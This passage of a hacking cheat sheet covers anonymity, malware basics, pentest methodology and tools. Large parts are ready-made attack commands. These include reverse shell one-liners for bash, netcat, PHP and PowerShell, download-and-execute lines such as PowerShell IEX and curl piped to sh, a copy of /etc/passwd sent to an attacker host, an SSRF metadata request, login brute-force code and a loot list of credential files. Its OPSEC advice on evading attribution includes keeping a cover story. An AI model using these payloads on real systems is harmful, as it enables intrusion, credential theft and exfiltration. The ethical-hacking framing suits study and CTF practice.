Tor Browser	Official browser — bundles Tor. Don't resize window.
Torsocks	torsocks curl http://site.onion — any app via Tor
torify	torify ssh user@host — route SSH through Tor
Hidden services	.onion addresses — server identity also hidden
Tor weaknesses	Exit node can sniff unencrypted traffic (use HTTPS!)
Timing attacks	Traffic correlation can de-anonymize — don't login!
Don'ts	Never login to personal accounts, resize browser, use Flash

VPN & PROXIES

VPN	Encrypts traffic to VPN server — hides from ISP/local
VPN logging	No-log policy matters — provider can be compelled
Double VPN	Chain two VPN servers — more hops, more trust needed
SOCKS5 proxy	Route specific app traffic — faster than VPN
Proxychains	Route any tool through proxy chain — /etc/proxychains4.conf
SSH SOCKS	ssh -D 9050 user@server -N → proxy via server
Residential proxy	Legitimate ISP IPs — harder to block
Rotating proxies	Change IP per request — bypass rate limiting

METADATA & DIGITAL FOOTPRINT

```
# Strip metadata before sharing files
exiftool -all= document.pdf          # Remove all metadata
exiftool -all= *.jpg                 # Batch strip images
mat2 file.docx                       # Metadata anonymisation tool

# Check what you're leaking
exiftool photo.jpg | grep -i 'gps\|location\|author\|device'

# Browser fingerprinting — you leak:
# Screen resolution, timezone, fonts, plugins, canvas hash
# Use Tor Browser or Brave with resistFingerprinting

# Check your public IP + leak test
curl ifconfig.me
curl ipinfo.io/json
# DNS leak test: dnsleaktest.com
# WebRTC leak: browserleaks.com/webrtc
```

OPSEC PRINCIPLES

Compartmentalize	Separate identities — never mix personal with hacking
Burner accounts	Throwaway emails: ProtonMail, Guerrilla Mail, Temp Mail
Burner devices	Dedicated hardware/VMs for sensitive work
Tails OS	Amnesic live OS — leaves no trace on host
Whonix	VM pair: Gateway (Tor) + Workstation (isolated)
No reuse	Never reuse usernames, handles, passwords across ops
Air gap	Physically isolated machine — no network for sensitive data
Timing	Don't work during hours that correlate to your timezone
Trust nobody	Assume any tool, server, or peer could be compromised
Cover story	Have a plausible explanation for any activity

SECURE COMMUNICATIONS

Signal	End-to-end encrypted messages & calls — disappearing msgs
ProtonMail	Encrypted email — zero-knowledge Swiss provider
PGP/GPG	Email encryption — gpg --gen-key / --encrypt / --decrypt
Matrix/Element	Decentralized E2E chat — self-hostable
Briar	P2P encrypted — works over Tor, no server
Session	No phone number required — anonymous by design
OTR	Off-the-Record messaging — deniability + forward secrecy
Avoid	SMS, WhatsApp (metadata), Telegram (not E2E by default)

14 MALWARE BASICS

MALWARE TYPES

Virus	Self-replicating — attaches to legitimate files
Worm	Self-propagating over network — no user action needed
Trojan	Disguised as legitimate software — opens backdoor
Ransomware	Encrypts files — demands payment for decryption key
Rootkit	Hides presence in OS — kernel or user level
Spyware	Silently collects data — keyloggers, screen capture
Adware	Unwanted ads — often bundled with free software
Botnet/RAT	Remote Access Trojan — attacker controls infected host
Keylogger	Records keystrokes — steals passwords, credit cards
Fileless	Lives in memory/registry — evades AV disk scanning
Dropper	Downloads & installs other malware — first stage
Backdoor	Persistent remote access — survives reboots
Logic Bomb	Triggers on condition (date, event) — insider threat
APT	Advanced Persistent Threat — long-term targeted attack

INDICATORS OF COMPROMISE (IOCs)

Network IOCs	C2 IP/domain, beaconing intervals, unusual DNS
File IOCs	MD5/SHA256 hashes, file names, paths, sizes
Registry IOCs	Run keys, scheduled tasks, new services
Process IOCs	Unusual parent/child, injected processes, hidden
Log IOCs	Failed logins, new accounts, privilege escalation
Email IOCs	Sender domain, subject, attachment name/hash
YARA rules	Pattern matching rules for malware detection
Sigma rules	SIEM rules for log-based detection

STATIC MALWARE ANALYSIS

```
file malware.exe              # File type, architecture
strings malware.exe           # Embedded strings — URLs, IPs, keys
xxd malware.exe | head        # Check magic bytes
exiftool malware.exe          # Metadata, compiler info
pestudio malware.exe          # Windows PE analysis (GUI)
floss malware.exe             # FireEye: extract obfuscated strings
capa malware.exe              # Detect capabilities (MITRE ATT&CK)

# Check imports/exports
objdump -d malware.exe | grep -i 'call\|jmp'
dumpbin /imports malware.exe     # Windows tool

# Submit to sandbox
# https://any.run/
# https://www.hybrid-analysis.com/
# https://virustotal.com/
```

DYNAMIC MALWARE ANALYSIS

Sandbox	any.run, Cuckoo, JoeSandbox — automated behavior
Process Monitor	Sysinternals ProcMon — file/registry/network activity
Wireshark	Capture all C2 traffic during execution
Regshot	Snapshot registry before/after — see changes
API Monitor	Hook Windows API calls — see what malware calls
x64dbg / OllyDbg	Debugger — step through malware code
Fakenet-NG	Simulate network — intercept C2 without live internet
VM snapshot	Snapshot before, run, analyze, restore — repeat
INetSim	Internet services simulation in isolated lab
Network isolation	Never run malware on real network — VM only!

MITRE ATT&CK FRAMEWORK

Initial Access	Phishing, exploit public-facing app, supply chain
Execution	PowerShell, WMI, scheduled task, script interpreter
Persistence	Registry run key, scheduled task, new service

15 HACKER MINDSET & ETHICS

THE HACKER MINDSET

Curiosity	Ask 'how does this work?' about everything
Persistence	Most hacks require many failed attempts before success
Creative thinking	Combine unrelated knowledge to find unexpected paths
Think like enemy	What would an attacker want? Work backwards from it
RTFM	Read the documentation — most vulns come from misconfig
Enumerate first	Never guess. Collect all information before attacking
Note everything	Document every step — for reports and learning
Automate	If you do it twice, script it
Community	Share knowledge — CTF writeups, blog posts, talks
Never stop learning	Tech changes daily — subscribe, read, practice

PENETRATION TESTING METHODOLOGY

1. Scope	Define: what IPs/domains are in scope? Rules of engagement
2. Recon	Passive then active. Build complete picture of target
3. Scanning	Nmap, vulnerability scanners, manual verification
4. Exploitation	Attack identified vulnerabilities — gain access
5. Post-Exploit	Enumerate, escalate privileges, maintain access
6. Lateral Move	Expand foothold — reach other hosts, networks
7. Data Exfil	Demonstrate impact — what could attacker take?
8. Reporting	Document findings, risk ratings, remediation advice
9. Cleanup	Remove all tools, shells, accounts created during test
10. Retest	Verify fixes after client applies patches

BUG BOUNTY PROGRAMS

Platforms	HackerOne, Bugcrowd, Intigriti, YesWeHack, Synack
Scope	Read it carefully — out-of-scope attacks = ban
Severity	CVSS score: Critical/High/Medium/Low/Info
P1 Critical	RCE, authentication bypass, full data breach
P2 High	Privilege escalation, SQLi, SSRF with impact
P3 Medium	Reflected XSS, CSRF, IDOR with limited impact
P4 Low	Info disclosure, self-XSS, clickjacking
Good report	Clear steps to reproduce, impact explanation, PoC
Duplicates	Fast reporting matters — first valid report wins
No impact=NoP	If there's no real impact, don't expect a payout

LEGAL & ETHICAL FRAMEWORK

```
# ALWAYS get written authorization before testing
# Laws that apply:
# Computer Fraud and Abuse Act (CFAA) — USA
# Computer Misuse Act — UK
# Similar laws exist in every country

# Authorized testing only:
# - Bug bounty programs with defined scope
# - Penetration testing with signed contract
# - Your own systems and lab environments
# - CTF competitions

# Responsible disclosure:
# - Report to vendor privately
# - Give reasonable time to fix (90 days standard)
# - Don't access/exfiltrate real user data
# - Don't cause damage or service disruption

# CVE reporting:
# - MITRE CVE program
# - Vendor security advisories
# - Full Disclosure mailing list (after patch)
```

CTF COMPETITION TIPS

16 TOOLS MASTER REFERENCE

RECONNAISSANCE TOOLS

nmap	Network scanner — gold standard for port/service enum
masscan	Fastest port scanner — millions of ports per second
amass	Subdomain enumeration — passive + active + APIs
subfinder	Fast passive subdomain discovery
theHarvester	Email, subdomain, IP from public sources
recon-ng	Modular OSINT framework — like Metasploit for recon
maltego	Visual OSINT link analysis
shodan CLI	shodan search, shodan host — internet scanner database
dnsx	Fast DNS resolver and enumerator
httpx	Fast HTTP probing — status, title, tech detection
feroxbuster	Recursive web content discovery — Rust-based, fast
gobuster	Dir/file/DNS/vhost brute force
ffuf	Fuzz Faster U Fool — web fuzzer, all categories

EXPLOITATION TOOLS

Metasploit	The exploitation framework — msf console
sqlmap	Automated SQL injection tool — database extraction
Burp Suite	Web proxy — intercept, modify, replay HTTP requests
OWASP ZAP	Free web app scanner — good for automation
nikto	Web server scanner — finds misconfigs and vulns
searchsploit	Offline Exploit-DB search — searchsploit apache 2.4
pwntools	Python CTF library — binary exploitation
ROPgadget	Find ROP chain gadgets in binaries
one_gadget	Find magic gadgets for instant shell in libc
gdb + pwndbg	GNU debugger + pwndbg plugin for exploit dev
radare2	Full reverse engineering framework
angr	Binary analysis framework — symbolic execution

POST-EXPLOITATION TOOLS

LinPEAS	Linux privilege escalation automated scanner
WinPEAS	Windows privilege escalation automated scanner
BloodHound	Active Directory attack path visualization
Mimikatz	Windows credential extraction — hashes, tickets, plaintext
CrackMapExec	Swiss army knife for Windows/AD network pentesting
Impacket	Python Windows protocol implementations — smbclient, etc
evil-winrm	WinRM shell for pentesting — evil-winrm -i host -u user
chisel	TCP tunneling tool — pivoting through firewalls
ligolo-ng	Modern tunneling/pivoting tool
pwncat	Enhanced reverse shell handler with features
GTFOBins	gtfobins.github.io — Unix binary escalation reference
LOLBAS	lolbas-project.github.io — Windows living off the land

PASSWORD & CRYPTO TOOLS

hashcat	GPU-accelerated offline hash cracker
john	John the Ripper — versatile hash cracker
hydra	Online password brute force — many protocols
medusa	Fast parallel login brute forcer
crunch	Custom wordlist generator by charset/length
cewl	Wordlist from website — custom to target
CyberChef	gchq.github.io/CyberChef — encoding toolkit
RsaCtfTool	RSA attack automation — factoring, wiener, etc
SageMath	Math toolkit — number theory for crypto challenges
hashid	Identify hash type from format
hash-identifier	Interactive hash identification tool
StegCracker	Steghide brute force password tool

FORENSICS TOOLS

Volatility 3	Memory forensics framework — Windows/Linux/Mac
Autopsy	Digital forensics GUI — disk image analysis
Wireshark	GUI packet analyzer — capture and inspect traffic
tshark	Wireshark CLI — scriptable packet analysis
binwalk	Firmware/file analysis — embedded file extraction
exiftool	Metadata reader/writer for files
foremost	File carving by magic bytes
photorec	Recover deleted files from disk/memory
steghide	Steganography — embed/extract from JPEG/BMP
zsteg	Steganography detector for PNG/BMP (LSB, etc)
stegsolve	Image steganography layer analysis GUI (Java)
Audacity	Audio editor — check spectrogram for hidden data

WIRELESS & NETWORK TOOLS

aircrack-ng	WiFi security auditing suite — WEP/WPA cracking
bettercap	Modern MitM framework — ARP, DNS, HTTP, BLE
tcpdump	CLI packet capture — filter, write pcap files
ncat / netcat	Network Swiss Army knife — listen, connect, transfer
socat	Advanced netcat — SSL, fork, complex piping
iptables	Linux firewall — block, redirect, log traffic
scapy	Python packet manipulation — craft any packet
hping3	Custom TCP/UDP/ICMP packet crafter + scanner
dsniff	Password sniffer suite — urlsnarf, mailsnarf
mitmproxy	Interactive HTTPS proxy — Python scriptable
proxychains	Route any tool through proxy chain / Tor
responder	LLMNR/NBT-NS/MDNS poisoner — capture NTLMv2 hashes

REVERSE ENGINEERING TOOLS

Ghidra	NSA's free RE framework — decompiler, disassembler
IDA Free	Industry standard RE tool — free version available
Binary Ninja	Modern RE platform — Python API, paid
x64dbg	Windows debugger — open source, plugins
OllyDbg	Classic Windows 32-bit debugger
gdb	GNU debugger — Linux standard
pwndbg / GEF	GDB plugins for exploit development
strace	Trace system calls of running process
ltrace	Trace library calls of running process
strings	Extract printable strings from binary
objdump	Disassemble binaries — objdump -d binary
file + xxd	Quick identification and hex dump

TCP THREE-WAY HANDSHAKE & FLAGS

SYN	Synchronize — initiate connection
ACK	Acknowledge — confirm received
SYN-ACK	Server response to SYN — accept connection
FIN	Finish — graceful close
RST	Reset — abrupt close / port closed
PSH	Push — send data immediately without buffering
URG	Urgent — urgent data pointer
SYN scan	nmap -sS — send SYN, never completes handshake (stealth)
NULL scan	No flags — open ports drop, closed send RST
XMAS scan	FIN+PSH+URG flags — same behavior as NULL

WINDOWS ACTIVE DIRECTORY ESSENTIALS

Domain	Logical group of networked computers sharing a directory
DC	Domain Controller — authenticates users (Kerberos/NTLM)
Kerberos	Default AD auth — ticket-based (TGT → TGS → Service)
NTLM	Legacy auth — challenge/response, hash-based
AD CS	AD Certificate Services — ESC1-8 privilege escalation
Kerberoasting	Request TGS for any SPN → offline crack service account
AS-REP Roast	Users without preauth → get hash without password
Pass-the-Hash	Use NTLM hash directly — no plaintext needed
Pass-the-Ticket	Steal/forge Kerberos ticket — Golden/Silver ticket
DCSync	Replicate DC → dump all hashes with mimikatz
BloodHound	Graph AD attack paths — find shortest path to DA
Domain Admin	Full domain control — ultimate Windows target

SMB ENUMERATION & ATTACKS

```
smbclient -L //10.10.10.1 -N           # List shares (null session)
smbclient //10.10.10.1/share -N         # Connect to share
smbmap -H 10.10.10.1                    # Map accessible shares
enum4linux -a 10.10.10.1                # Full SMB enumeration
crackmapexec smb 10.10.10.1 -u user -p pass
crackmapexec smb 10.10.10.1 -u user -H NTLMHASH --local-auth
impacket-smbclient user:pass@10.10.10.1
nmap --script smb-vuln* -p 445 10.10.10.1  # Check EternalBlue etc
rpcclient -U '' -N 10.10.10.1           # RPC null session
```

PIVOTING & TUNNELING

```
# SSH local port forward — reach internal:80 via localhost:8080
ssh -L 8080:internal.host:80 user@pivot -N

# SSH dynamic (SOCKS) — route all proxychains traffic
ssh -D 9050 user@pivot -N -f

# SSH remote — expose attacker listener through target outbound
ssh -R 4444:127.0.0.1:4444 user@vps -N

# Chisel — TCP tunnel through HTTP
# Attacker: chisel server -p 9001 --reverse
# Target:   chisel client attacker:9001 R:socks

# Proxychains config
# Edit /etc/proxychains4.conf: socks5 127.0.0.1 9050
proxychains nmap -sT -Pn 10.10.10.5
proxychains sqlmap -u http://10.10.10.5/?id=1

# Socat port forward on pivot
socat TCP-LISTEN:8888,fork TCP:10.10.10.5:80
```

FILE TRANSFERS — EVERY METHOD

```
# Python HTTP server (attacker hosts)
python3 -m http.server 8000

# Linux download
wget http://10.10.14.1:8000/tool -O /tmp/tool
curl http://10.10.14.1:8000/tool -o /tmp/tool

# Windows download
certutil.exe -urlcache -split -f http://10.10.14.1:8000/nc.exe nc.exe
powershell Invoke-WebRequest -Uri http://attacker/file -OutFile C:\temp\file
powershell IEX(New-Object Net.WebClient).DownloadString('http://attacker/script.ps1')
bitsadmin /transfer job http://attacker/nc.exe C:\nc.exe

# Netcat transfer
nc -lvnp 9001 > received_file      # Receiver
nc 10.10.14.1 9001 < file_to_send  # Sender

# SCP
scp user@10.10.14.1:/file /tmp/
scp /etc/passwd user@10.10.14.1:/tmp/

# SMB (Impacket)
impacket-smbserver share $(pwd) -smb2support
copy \\10.10.14.1\share\nc.exe .    (Windows target)

# Base64 (when nothing else works)
base64 -w0 file.sh
echo 'BASE64STRING' | base64 -d > file.sh

# FTP
python3 -m pyftpdlib -p 21 -w
```

REVERSE SHELL ONE-LINERS

```
# Attacker listens first:
nc -lvnp 4444
rlwrap nc -lvnp 4444    # With readline history

# Bash
bash -i >& /dev/tcp/10.10.14.1/4444 0>&1

# Python3
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.10.14.1",4444))..

# PHP
php -r '$s=fsockopen("10.10.14.1",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

# Netcat (with -e)
nc -e /bin/sh 10.10.14.1 4444

# Netcat (without -e)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.1 4444 >/tmp/f

# PowerShell
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('10.10.14.1',4444);$s=$c.GetStre..
```

TTY UPGRADE — ALWAYS DO THIS

```
# Step 1: Spawn PTY
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Or: script /dev/null -c bash

# Step 2: Background & fix terminal
Ctrl+Z
stty raw -echo; fg

# Step 3: Fix terminal size
export TERM=xterm
```

CORE SECURITY CONCEPTS EVERY HACKER KNOWS

CIA Triad	Confidentiality, Integrity, Availability — core security goals
Zero Trust	Never trust, always verify — no implicit internal trust
Least Privilege	Users/processes get minimum access needed — limit blast radius
Defense in Depth	Multiple layers of security — assume each will fail
Attack Surface	All points where attacker can interact with system
Threat Model	Identify assets, threats, attackers, likelihood, impact
Zero Day	Vulnerability with no available patch — very valuable
CVE	Common Vulnerabilities and Exposures — public vuln database
CVSS	Common Vulnerability Scoring System — 0.0 to 10.0
Exploit	Code/technique that takes advantage of a vulnerability
Payload	Code that runs on victim after exploitation
C2/C&C	Command & Control server — attacker communicates with malware
IOC	Indicator of Compromise — artifact of intrusion
TTPs	Tactics, Techniques, Procedures — how attackers operate
APT	Advanced Persistent Threat — long-term targeted attacks
Red Team	Offensive security — simulate real attackers
Blue Team	Defensive security — detect, respond, protect
Purple Team	Red + Blue working together — collaborative improvement
SOC	Security Operations Center — monitors for threats 24/7
SIEM	Security Info & Event Mgmt — log aggregation & alerting

COMMON VULNERABILITIES — OWASP TOP 10

A01 Broken Access Control	Unauthorized access to resources — IDOR, privilege escalation
A02 Cryptographic Failures	Weak crypto, plaintext storage, poor key management
A03 Injection	SQLi, XSS, command injection, LDAP injection
A04 Insecure Design	Missing security controls by design
A05 Security Misconfiguration	Default creds, open cloud storage, verbose errors
A06 Vulnerable Components	Outdated libraries, frameworks with known CVEs
A07 Auth Failures	Weak passwords, missing MFA, bad session management
A08 Software Integrity	Insecure deserialization, unverified CI/CD pipeline
A09 Security Logging Failure	Not logging or monitoring for attacks
A10 SSRF	Server-side requests to internal services

NETWORKING ATTACKS TAXONOMY

Reconnaissance	Passive/active information gathering — foundation of all attacks
Sniffing	Capture network traffic — requires MitM position or shared medium
Spoofing	Forge source identity — ARP, IP, MAC, DNS, email spoofing
DoS/DDoS	Overwhelm resources — volumetric, protocol, application layer
MitM	Intercept communications — ARP poison, rogue AP, SSL strip
Replay	Capture & replay auth tokens — session hijacking
Session Hijacking	Steal authenticated session — cookie theft, fixation
VLAN Hopping	Access other VLANs — double tagging, switch spoofing
BGP Hijacking	Announce false routes — redirect internet traffic
Rogue DHCP	Respond to DHCP before legit server — gateway control

PYTHON HACKING TEMPLATES

```python
# Port Scanner
import socket, concurrent.futures
def scan(host, port):
    try:
        s = socket.socket()
        s.settimeout(0.5)
        s.connect((host, port))
        print(f'[+] {port} OPEN')
        s.close()
    except: pass
with concurrent.futures.ThreadPoolExecutor(100) as e:
    for port in range(1, 1025):
        e.submit(scan, '10.10.10.1', port)
```

```python
# HTTP Login Brute Force
import requests
url = 'http://target.com/login'
with open('rockyou.txt', encoding='latin-1') as f:
    for pwd in f:
        pwd = pwd.strip()
        r = requests.post(url, data={'username':'admin','password':pwd})
        if 'Invalid' not in r.text and r.status_code == 200:
            print(f'[+] Password found: {pwd}')
            break
        print(f'[-] {pwd}', end='\r')
```

```python
# XOR Key Recovery (known plaintext)
ct = bytes.fromhex('1a2b3c4d5e6f')
known_pt = b'flag{'
key_bytes = bytes([ct[i] ^ known_pt[i] for i in range(len(known_pt))])
print('Key bytes:', key_bytes.hex())
# If key repeats:
key = key_bytes  # repeat if short
pt = bytes([ct[i] ^ key[i % len(key)] for i in range(len(ct))])
print('Plaintext:', pt)
```

```python
# CTF NetCat Interaction Template
from pwn import *
p = remote('ctf.challenge.com', 9001)

# Receive banner
banner = p.recvuntil(b'> ')
print(banner.decode())

# Answer math challenge
line = p.recvline().decode().strip()
answer = eval(line.split('=')[0])   # NEVER eval untrusted in prod!
p.sendline(str(answer).encode())

# Get flag
print(p.recvline().decode())
p.close()
```

```python
# Hash cracking with wordlist
import hashlib
target = 'b14a7b8059d9c055954c92674ce60032'  # MD5
with open('rockyou.txt', 'rb') as f:
    for line in f:
        word = line.strip()
        if hashlib.md5(word).hexdigest() == target:
            print(f'[+] Cracked: {word.decode()}')
            break
```

MEGA QUICK REFERENCE — DAILY HACKER COMMANDS

```
# ■■ IDENTIFY ■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
file unknown && strings unknown && xxd unknown | head -5
exiftool unknown && binwalk unknown

# ■■ DECODE ■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
echo 'BASE64' | base64 -d
echo '48656c6c6f' | xxd -r -p
echo 'HELLO' | tr 'A-Za-z' 'N-ZA-Mn-za-m'     # ROT13
python3 -c "import urllib.parse; print(urllib.parse.unquote('%41%42'))"

# ■■ HASH ■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
echo -n 'text' | md5sum
echo -n 'text' | sha256sum
hashid 'hash_string'
hashcat -m 0 hash.txt rockyou.txt               # MD5 crack

# ■■ NETWORK ■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
nmap -sC -sV -T4 -oN scan.txt 10.10.10.1
nmap -p- --open -T4 10.10.10.1
nc -lvnp 4444
ssh -L 8080:target:80 user@jump -N
ssh -D 9050 user@host -N -f

# ■■ WEB ■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
gobuster dir -u http://target -w /usr/share/seclists/Discovery/Web-Content/common.txt -x..
ffuf -u http://target/FUZZ -w wordlist.txt -fc 404
sqlmap -r request.txt --dbs --level=5 --risk=3
curl -I http://target && curl -v http://target

# ■■ PRIV ESC ■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
sudo -l
find / -perm -4000 2>/dev/null
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

# ■■ SHELLS ■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
bash -i >& /dev/tcp/10.10.14.1/4444 0>&1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.1 4444 >/tmp/f
python3 -c 'import pty;pty.spawn("/bin/bash")'

# ■■ PASSWORDS ■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
hydra -l admin -P rockyou.txt ssh://10.10.10.1
hashcat -m 1000 ntlm.hash rockyou.txt            # NTLM
john --wordlist=rockyou.txt hashes.txt

# ■■ SEARCH ■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
grep -r 'CTF{\|FLAG{\|password\|secret' . 2>/dev/null
find / -name '*.txt' -readable 2>/dev/null
find / -mmin -60 2>/dev/null                     # Recent changes
```

COMPLETE PORT REFERENCE

20/21	FTP — File Transfer (data/control)
22	SSH — Secure Shell
23	Telnet — Unencrypted remote shell
25	SMTP — Email sending
53	DNS — Domain Name System (UDP+TCP)
67/68	DHCP — IP assignment (Server/Client)
69	TFTP — Trivial FTP (UDP, no auth)
80	HTTP — Web traffic
88	Kerberos — AD authentication
110	POP3 — Email retrieval
111	RPC Portmapper — NFS enumeration
119	NNTP — News groups
123	NTP — Network Time Protocol (UDP)
135	MSRPC — Windows RPC endpoint mapper
137-139	NetBIOS — Windows name service
143	IMAP — Email retrieval
161/162	SNMP — Network management (UDP)
179	BGP — Border Gateway Protocol
389	LDAP — Directory service
443	HTTPS — Encrypted web traffic
445	SMB — Windows file sharing
465	SMTPS — SMTP over SSL
500	IKE — IPSec VPN negotiation
514	Syslog — UDP log messages
587	SMTP Submission — email with auth
636	LDAPS — LDAP over SSL
993	IMAPS — IMAP over SSL
995	POP3S — POP3 over SSL
1080	SOCKS proxy
1194	OpenVPN
1433	MSSQL — Microsoft SQL Server
1521	Oracle DB
2049	NFS — Network File System
2222	SSH alternate port
3306	MySQL database
3389	RDP — Remote Desktop Protocol
5432	PostgreSQL database
5900	VNC — Virtual Network Computing
6379	Redis — in-memory key-value store
8080	HTTP alternate / proxy
8443	HTTPS alternate
27017	MongoDB database

CIPHER & ENCODING IDENTIFICATION GUIDE

All A-Z only	Caesar, Atbash, Rail Fence, Vigenere, columnar
A-Za-z0-9+/=	Base64 — decode with: base64 -d
A-Z2-7= uppercase	Base32 — decode with: base32 -d
0-9a-f only 32 hex	MD5 hash (128-bit)
0-9a-f only 40 hex	SHA1 hash (160-bit)
0-9a-f only 64 hex	SHA256 hash (256-bit)
.- / -. patterns	Morse code
01 in 8-groups	Binary/ASCII — convert to chars
n,e,c numbers	RSA encryption challenge
p,q,e or n,e,c	RSA — compute d=modinv(e,(p-1)(q-1)), decrypt
+[->+++<] {}[]	Brainfuck esoteric language
AAAAA AAAAB	Bacon cipher — 5-char binary alphabet
Pairs of numbers	Polybius square (11=A, 12=B...)
Numbers 1-26	A1Z26 substitution (A=1, Z=26)
ADFGVX only	ADFGVX cipher — WWI German
Same length groups	Transposition cipher — anagram key
Repeating pattern	Vigenere — use Kasiski or IC analysis
ECB ciphertext	Identical 16-byte blocks = same plaintext block
1/5/6	Linux crypt hashes (MD5/SHA256/SHA512)
$2a$/$2b$/$2y$	bcrypt password hash
\u XXXX escapes	Unicode — decode with Python unicode_escape
%XX sequences	URL encoding — urllib.parse.unquote()
< & >	HTML entities — html.unescape()

NUMBER BASES CONVERSION

```
# Python conversions
bin(255)          # '0b11111111'
oct(255)          # '0o377'
hex(255)          # '0xff'
int('ff', 16)     # 255 (hex to int)
int('11111111',2) # 255 (binary to int)
chr(65)           # 'A'  (int to ASCII)
ord('A')          # 65   (ASCII to int)

# Bytes
bytes.fromhex('48656c6c6f')   # b'Hello'
b'Hello'.hex()               # '48656c6c6f'
b'Hello'.decode()            # 'Hello'
```

LINUX ONE-LINERS HALL OF FAME

```
find / -perm -4000 2>/dev/null | xargs ls -la
for i in {1..254}; do ping -c1 192.168.1.$i &>/dev/null && echo "UP: $i"; done
ps aux --sort=-%mem | head -10
ss -tulnp | grep LISTEN
awk -F: '$3==0{print $1}' /etc/passwd          # UID 0 users
grep -r 'password\|passwd\|secret' /etc/ 2>/dev/null
find / -newer /tmp -type f 2>/dev/null          # Recently modified
diff <(ls /tmp) <(sleep 30; ls /tmp)            # Watch directory changes
strace -p PID 2>&1 | grep -i 'read\|write'
watch -n 1 'ss -tulnp'                          # Monitor ports live
lsof -i :80                                     # Who uses port 80
curl -s http://169.254.169.254/latest/meta-data/ # AWS metadata SSRF
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | head -c 32  # Random password
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
```

HACKER'S DAILY CHECKLIST

[ ] RECON	whois, dns, shodan, crt.sh, theHarvester, subdomains
[ ] SCAN	nmap -sC -sV -p- target + nmap --script vuln
[ ] WEB ENUM	gobuster dir, nikto, whatweb, check robots.txt, .git
[ ] CREDENTIALS	Default creds, hydra, check config files, env vars
[ ] VULNS	searchsploit, check CVEs for found versions
[ ] FOOTHOLD	Exploit, get shell, upgrade to full TTY
[ ] LOCAL ENUM	LinPEAS/WinPEAS, sudo -l, SUID, crons, capabilities
[ ] PRIVESC	GTFOBins, kernel exploit, writable cron, PATH hijack
[ ] LOOT	/etc/shadow, SSH keys, .env, config files, browser data
[ ] PIVOT	Internal network scan, port forward, proxychains
[ ] PERSIST	SSH key, cron job, backdoor — document for report
[ ] CLEANUP	Remove shells, accounts, files — restore clean state
[ ] DOCUMENT	Screenshot evidence, note timestamps, write report

ESSENTIAL ONLINE RESOURCES

HackTricks	book.hacktricks.xyz — massive pentesting notes
PayloadsAllThings	github.com/swisskyrepo/PayloadsAllTheThings
GTFOBins	gtfobins.github.io — Unix binary escalation
LOLBAS	lolbas-project.github.io — Windows LOL bins
RevShells	revshells.com — reverse shell generator
CyberChef	gchq.github.io/CyberChef — encoding toolkit
ExplainShell	explainshell.com — explain any shell command
CrackStation	crackstation.net — online hash cracking
VirusTotal	virustotal.com — malware/hash lookup
Shodan	shodan.io — internet device search
CVE Details	cvedetails.com — CVE database with scores
Exploit-DB	exploit-db.com — public exploit repository
CTFtime	ctftime.org — CTF events, writeups, teams
HackTheBox	hackthebox.com — practice hacking labs
TryHackMe	tryhackme.com — guided learning rooms
OverTheWire	overthewire.org — wargames for beginners
OWASP	owasp.org — web security standards & guides
MITRE ATT&CK	attack.mitre.org — adversary tactics & techniques

"The more I learn, the more I realize how much I don't know." — Every hacker, always

HACK ETHICALLY | LEARN CONSTANTLY | SHARE KNOWLEDGE | STAY CURIOUS